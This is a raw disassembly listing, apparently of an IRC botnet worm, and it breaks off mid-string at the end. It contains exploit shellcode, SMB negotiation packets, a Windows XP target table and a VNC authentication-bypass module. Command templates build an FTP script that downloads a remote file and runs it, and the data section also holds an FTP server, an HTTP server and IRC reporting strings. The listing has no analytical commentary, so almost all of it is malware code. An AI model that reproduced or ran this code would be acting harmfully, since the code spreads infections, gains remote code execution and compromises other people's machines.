; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431B2C db 2Dh ; - ; DATA XREF: sub_40C124+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431B60 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431B94 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59B+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 10h db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADA+B2o align 4 dword_431C48 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao dword_431C50 dd 10FF8h ; DATA XREF: sub_40CADA+79o dword_431C54 dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o dword_431C5C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_431CE4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_431D14 dd 0 ; DATA XREF: sub_40CF04+44o dd 800000D4h, 0 unk_431D20 db 81h ; ; DATA XREF: sub_40CFDE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_431D6C db 41h ; DATA XREF: sub_40D07C+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_431DB0 proc near ; DATA XREF: ___:0040D35Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_431EAC push dword ptr [esi] push 63D61209h call sub_431EC2 mov [esi+8], eax call sub_431E75 push dword ptr [esi+4] push 0CA2BD06Bh call sub_431EC2 mov [esi+0Ch], eax call sub_431E27 push dword ptr [esi+4] push 4C0297FAh call sub_431EC2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_431DB0 endp ; =============== S U B R O U T I N E ======================================= sub_431E27 proc near ; CODE XREF: sub_431DB0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_431E50 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_431E27 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E50 proc near ; CODE XREF: sub_431E27+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_431E5F: ; CODE XREF: sub_431E50+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_431E6C inc ebx jmp short loc_431E5F ; --------------------------------------------------------------------------- loc_431E6C: ; CODE XREF: sub_431E50+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_431E50 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E75 proc near ; CODE XREF: sub_431DB0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_431E8D: ; CODE XREF: sub_431E75+1Ej cmp [ecx], ebx jz short loc_431E95 mov ecx, [ecx] jmp short loc_431E8D ; --------------------------------------------------------------------------- loc_431E95: ; CODE XREF: sub_431E75+1Aj mov edx, edi loc_431E97: ; CODE XREF: sub_431E75+2Aj cmp [edx+4], ebx jz short loc_431EA1 mov edx, [edx+4] jmp short loc_431E97 ; --------------------------------------------------------------------------- loc_431EA1: ; CODE XREF: sub_431E75+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_431E75 endp ; =============== S U B R O U T I N E ======================================= sub_431EAC proc near ; CODE XREF: sub_431DB0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_431EAC endp ; =============== S U B R O U T I N E ======================================= sub_431EC2 proc near ; CODE XREF: sub_431DB0+16p ; sub_431DB0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_431ED8: ; CODE XREF: sub_431EC2+33j jecxz short loc_431F12 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_431EE5: ; CODE XREF: sub_431EC2+2Dj lodsb cmp al, ah jz short loc_431EF1 ror edi, 0Dh add edi, eax jmp short loc_431EE5 ; --------------------------------------------------------------------------- loc_431EF1: ; CODE XREF: sub_431EC2+26j cmp edi, [esp+20h+arg_0] jnz short loc_431ED8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_431F12: ; CODE XREF: sub_431EC2:loc_431ED8j ; sub_431EC2:loc_431F12j jmp short loc_431F12 sub_431EC2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_431F18 proc near ; DATA XREF: ___:0040D309o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_431F6A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_431F35: ; CODE XREF: sub_431F18+38j jecxz short loc_431F65 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_431F40: ; CODE XREF: sub_431F18+32j lodsb test al, al jz short loc_431F4C ror edx, 0Dh add edx, eax jmp short loc_431F40 ; --------------------------------------------------------------------------- loc_431F4C: ; CODE XREF: sub_431F18+2Bj cmp edx, [esp+arg_0] jnz short loc_431F35 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_431F65: ; CODE XREF: sub_431F18:loc_431F35j mov [esp+arg_0], ebx retn sub_431F18 endp ; =============== S U B R O U T I N E ======================================= sub_431F6A proc near ; CODE XREF: sub_431F18+7p ; FUNCTION CHUNK AT 00431FA2 SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_431F83 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_431F8E ; --------------------------------------------------------------------------- loc_431F83: ; CODE XREF: sub_431F6A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_431F8E: ; CODE XREF: sub_431F6A+14j pop edi xor esi, esi pusha push esi jmp short loc_431FA2 sub_431F6A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431F95 proc near ; CODE XREF: sub_431F6A:loc_431FA2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_431F95 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F6A loc_431FA2: ; CODE XREF: sub_431F6A+29j call sub_431F95 loc_431FA7: ; DATA XREF: sub_40CADA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_431F6A ; --------------------------------------------------------------------------- dw 0 dword_431FAC dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o dword_431FB8 dd 30h ; DATA XREF: sub_40CADA+2CAo dword_431FBC dd 0A1h ; DATA XREF: sub_40CADA+29Fo dword_431FC0 dd 3 ; DATA XREF: sub_40CADA+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o align 4 loc_431FCC: ; DATA XREF: sub_40CADA+E8o jmp short near ptr dword_431FD4 ; --------------------------------------------------------------------------- db 6 dup(90h) dword_431FD4 dd 0 ; CODE XREF: ___:loc_431FCCj aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D330o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h dword_432040 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo ; --------------------------------------------------------------------------- loc_43204C: ; CODE XREF: ___:00432056j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_43204C inc edi jz short loc_432093 and eax, 952CE753h inc esp jle short loc_4320BB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_432093: ; CODE XREF: ___:00432059j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_4320F2+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4320B8: ; CODE XREF: ___:004320E5j xor [esi-25h], bl loc_4320BB: ; CODE XREF: ___:00432061j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_4320D4: ; CODE XREF: ___:00432107j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4320B8 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_4320F2: ; CODE XREF: ___:00432099j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_43217E jo short loc_4320D4 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_432115+1 add bl, [edi] loc_432115: ; CODE XREF: ___:00432111j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_43212A+2 cmp ch, bh dec edx loc_43212A: ; CODE XREF: ___:00432125j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_43217E: ; CODE XREF: ___:00432105j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_432204 sub al, 0BCh jmp near ptr 54452572h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_4321A0 dd 0EFFFC481h, 44FFFFh, 4321ECh ; DATA XREF: ___:0040DC32o dword_4321AC dd 42Ah ; DATA XREF: ___:0040DBE5r dword_4321B0 dd 3E8h ; DATA XREF: ___:0040DC56r dword_4321B4 dd 258h ; DATA XREF: ___:0040DC28r byte_4321B8 db 1 ; DATA XREF: ___:0040DB91r ; ___:0040DC5Fr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4321D0 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321BCo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_432204: ; CODE XREF: ___:00432188j push eax xor al, 29h loc_432207: ; DATA XREF: ___:0040DBB9o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_432210 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o dword_432224 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co align 4 aSIpc db '\\%s\ipc$',0 align 4 aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DFE2+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4322CC dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 10h aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co align 10h aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o align 10h word_433510 dw 1 ; DATA XREF: ___:0040E210r align 4 dword_433514 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C64+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 4 aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 4 a226TransferC_0 db '226 Transfer complete',0Ah,0 align 10h aList_0 db 'LIST',0 align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00437C78o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00437C84o unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4337FC db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_433824 db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo ; sub_41A4D1+F5o align 4 aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o ; sub_41AA42+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo align 4 unk_433A44 db 2Dh ; - ; DATA XREF: sub_40F6B3+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_433A7C db 2Dh ; - ; DATA XREF: sub_40F6B3+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 10h asc_433AB0: ; DATA XREF: sub_40F6B3+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+652o align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96A+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o ; sub_40F96A+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o align 10h aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o ; sub_40F96A+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao align 10h a__ db '..',0 ; DATA XREF: sub_40F96A+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo aSSHttp1_1Refer db 